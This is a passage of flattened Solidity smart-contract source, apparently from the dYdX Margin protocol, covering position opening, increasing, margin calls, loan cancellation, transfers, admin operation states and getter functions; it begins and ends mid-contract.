private
view
returns (uint256)
{
uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost(
transaction.loanOffering.heldToken,
transaction.loanOffering.owedToken,
collateralToAdd,
orderData
);
require(
transaction.lenderAmount <= totalOwedToken,
"IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required"
);
return totalOwedToken.sub(transaction.lenderAmount);
}
function validateIncrease(
MarginState.State storage state,
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
view
{
assert(MarginCommon.containsPositionImpl(state, transaction.positionId));
require(
position.callTimeLimit <= transaction.loanOffering.callTimeLimit,
"IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position"
);
uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration);
uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration);
require(
positionEndTimestamp <= offeringEndTimestamp,
"IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position"
);
require(
block.timestamp < positionEndTimestamp,
"IncreasePositionImpl#validateIncrease: Position has passed its maximum duration"
);
}
function getCollateralNeededForAddedPrincipal(
MarginState.State storage state,
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalToAdd
)
private
view
returns (uint256)
{
uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId);
return MathHelpers.getPartialAmountRoundedUp(
principalToAdd,
position.principal,
heldTokenBalance
);
}
function updateState(
MarginCommon.Position storage position,
bytes32 positionId,
uint256 principalAdded,
uint256 owedTokenLent,
address loanPayer
)
private
{
position.principal = position.principal.add(principalAdded);
address owner = position.owner;
address lender = position.lender;
increasePositionOnBehalfOfRecurse(
owner,
msg.sender,
positionId,
principalAdded
);
increaseLoanOnBehalfOfRecurse(
lender,
loanPayer,
positionId,
principalAdded,
owedTokenLent
);
}
function increasePositionOnBehalfOfRecurse(
address contractAddr,
address trader,
bytes32 positionId,
uint256 principalAdded
)
private
{
if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf(
trader,
positionId,
principalAdded
);
if (newContractAddr != contractAddr) {
increasePositionOnBehalfOfRecurse(
newContractAddr,
trader,
positionId,
principalAdded
);
}
}
function increaseLoanOnBehalfOfRecurse(
address contractAddr,
address payer,
bytes32 positionId,
uint256 principalAdded,
uint256 amountLent
)
private
{
if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) {
return;
}
address newContractAddr =
IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf(
payer,
positionId,
principalAdded,
amountLent
);
if (newContractAddr != contractAddr) {
increaseLoanOnBehalfOfRecurse(
newContractAddr,
payer,
positionId,
principalAdded,
amountLent
);
}
}
function recordPositionIncreased(
BorrowShared.Tx transaction,
MarginCommon.Position storage position
)
private
{
emit PositionIncreased(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
position.owner,
position.lender,
transaction.loanOffering.loanHash,
transaction.loanOffering.feeRecipient,
transaction.lenderAmount,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.depositInHeldToken
);
}
function parseIncreasePositionTx(
MarginCommon.Position storage position,
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
uint256 principal = values256[7];
uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principal,
block.timestamp
);
assert(lenderAmount >= principal);
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: positionId,
owner: position.owner,
principal: principal,
lenderAmount: lenderAmount,
loanOffering: parseLoanOfferingFromIncreasePositionTx(
position,
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[6],
depositInHeldToken: depositInHeldToken,
depositAmount: 0,
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOfferingFromIncreasePositionTx(
MarginCommon.Position storage position,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: position.owedToken,
heldToken: position.heldToken,
payer: addresses[0],
owner: position.lender,
taker: addresses[1],
positionOwner: addresses[2],
feeRecipient: addresses[3],
lenderFeeToken: addresses[4],
takerFeeToken: addresses[5],
rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferingRatesFromIncreasePositionTx(
MarginCommon.Position storage position,
uint256[8] values256
)
private
view
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: position.interestRate,
interestPeriod: position.interestPeriod
});
return rates;
}
}
contract MarginStorage {
MarginState.State state;
}
contract LoanGetters is MarginStorage {
function getLoanUnavailableAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash);
}
function getLoanFilledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanFills[loanHash];
}
function getLoanCanceledAmount(
bytes32 loanHash
)
external
view
returns (uint256)
{
return state.loanCancels[loanHash];
}
}
interface CancelMarginCallDelegator {
function cancelMarginCallOnBehalfOf(
address canceler,
bytes32 positionId
)
external
returns (address);
}
interface MarginCallDelegator {
function marginCallOnBehalfOf(
address caller,
bytes32 positionId,
uint256 depositAmount
)
external
returns (address);
}
library LoanImpl {
using SafeMath for uint256;
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
function marginCallImpl(
MarginState.State storage state,
bytes32 positionId,
uint256 requiredDeposit
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp == 0,
"LoanImpl#marginCallImpl: The position has already been margin-called"
);
marginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId,
requiredDeposit
);
position.callTimestamp = TimestampHelper.getBlockTimestamp32();
position.requiredDeposit = requiredDeposit;
emit MarginCallInitiated(
positionId,
position.lender,
position.owner,
requiredDeposit
);
}
function cancelMarginCallImpl(
MarginState.State storage state,
bytes32 positionId
)
public
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
position.callTimestamp > 0,
"LoanImpl#cancelMarginCallImpl: Position has not been margin-called"
);
cancelMarginCallOnBehalfOfRecurse(
position.lender,
msg.sender,
positionId
);
state.positions[positionId].callTimestamp = 0;
state.positions[positionId].requiredDeposit = 0;
emit MarginCallCanceled(
positionId,
position.lender,
position.owner,
0
);
}
function cancelLoanOfferingImpl(
MarginState.State storage state,
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
public
returns (uint256)
{
MarginCommon.LoanOffering memory loanOffering = parseLoanOffering(
addresses,
values256,
values32
);
require(
msg.sender == loanOffering.payer,
"LoanImpl#cancelLoanOfferingImpl: Only loan offering payer can cancel"
);
require(
loanOffering.expirationTimestamp > block.timestamp,
"LoanImpl#cancelLoanOfferingImpl: Loan offering has already expired"
);
uint256 remainingAmount = loanOffering.rates.maxAmount.sub(
MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanOffering.loanHash)
);
uint256 amountToCancel = Math.min256(remainingAmount, cancelAmount);
if (amountToCancel == 0) {
return 0;
}
state.loanCancels[loanOffering.loanHash] =
state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
contract LoanOfferingParser {
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
bytes signature
)
internal
pure
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering;
